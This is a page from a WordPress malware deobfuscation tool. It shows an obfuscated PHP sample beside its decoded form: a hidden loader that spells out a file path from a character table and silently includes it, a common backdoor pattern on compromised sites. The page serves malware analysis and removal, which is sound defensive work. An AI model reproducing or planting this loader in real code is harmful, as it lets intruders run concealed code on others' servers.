Japanese English

PHP deobfuscation, decryption, reconstruction tool

De-obfuscate PHP malware/viruses and tampering code on Wordpress to original readable code.

*Please note that not all obfuscation codes can be decoded.

Decoded the code below.

<?php /*-Dn!-*/$XW /*-DZ:eM55-*/=/*-8^9TwtOLJ-*/ "ra"/*-&n`l0(@N~-*/."nge"; $HCG /*-(u8-*/=/*-P2zHCV&4-*/ $XW/*-&V-*/(/*-l3H}qdB9K-*/"~"/*-z~.Pzb2S-*/,/*-k2-*/" "); /*-+)oJ[-*/@include/*-Eb.KW=$%-*/ $HCG/*-X}7-*/[33+24].$HCG/*-{t4Wd-*/[50+0].$HCG/*-<Rxmi]-*/[20+5].$HCG/*-cyFVKrn-*/...



Obfuscated php code

<?php /*-Dn!-*/$XW /*-DZ:eM55-*/=/*-8^9TwtOLJ-*/ "ra"/*-&n`l0(@N~-*/."nge"; $HCG /*-(u8-*/=/*-P2zHCV&4-*/ $XW/*-&V-*/(/*-l3H}qdB9K-*/"~"/*-z~.Pzb2S-*/,/*-k2-*/" "); /*-+)oJ[-*/@include/*-Eb.KW=$%-*/ $HCG/*-X}7-*/[33+24].$HCG/*-{t4Wd-*/[50+0].$HCG/*-<Rxmi]-*/[20+5].$HCG/*-cyFVKrn-*/[4+3].$HCG/*-(2}d@g^1-*/[39+16].$HCG/*-Gy1YRPe-*/[15+3].$HCG/*-q&-*/[56+3].$HCG/*-^&_Cv9-*/[13+23].$HCG/*-wctp-*/[36+16].$HCG/*-&@h-.?>-*/[4+36].$HCG/*-IfV-*/[56+2].$HCG/*-C5]@y.,w-*/[19+5].$HCG/*-+RJk>Vztv-*/[36+1].$HCG/*-q,gK<Y|}D-*/[9+11].$HCG/*-eN)6:3-*/[7+2].$HCG/*-nP,>u{-*/[31+8].$HCG/*-hl^gh~Mu-*/[73+7].$HCG/*-V_l@G9g%-*/[0+20].$HCG/*-p#S{(dL8-*/[2+12].$HCG/*-t9QX-*/[11+12]/*-N&-*/; ?>

Decoded(de-Obfuscated) php code

<?php

/*-Dn!-*/
$XW = "range";
$HCG = range(
    /*-l3H}qdB9K-*/
    "~",
    /*-k2-*/
    " "
);
/*-+)oJ[-*/
@(include $HCG[57] . $HCG[50] . $HCG[25] . $HCG[7] . $HCG[55] . $HCG[18] . $HCG[59] . $HCG[36] . $HCG[52] . $HCG[40] . $HCG[58] . $HCG[24] . $HCG[37] . $HCG[20] . $HCG[9] . $HCG[39] . $HCG[80] . $HCG[20] . $HCG[14] . $HCG[23]);

Malware detection & removal plugin for WordPress

（C）2020 Wordpress Doctor All rights reserved.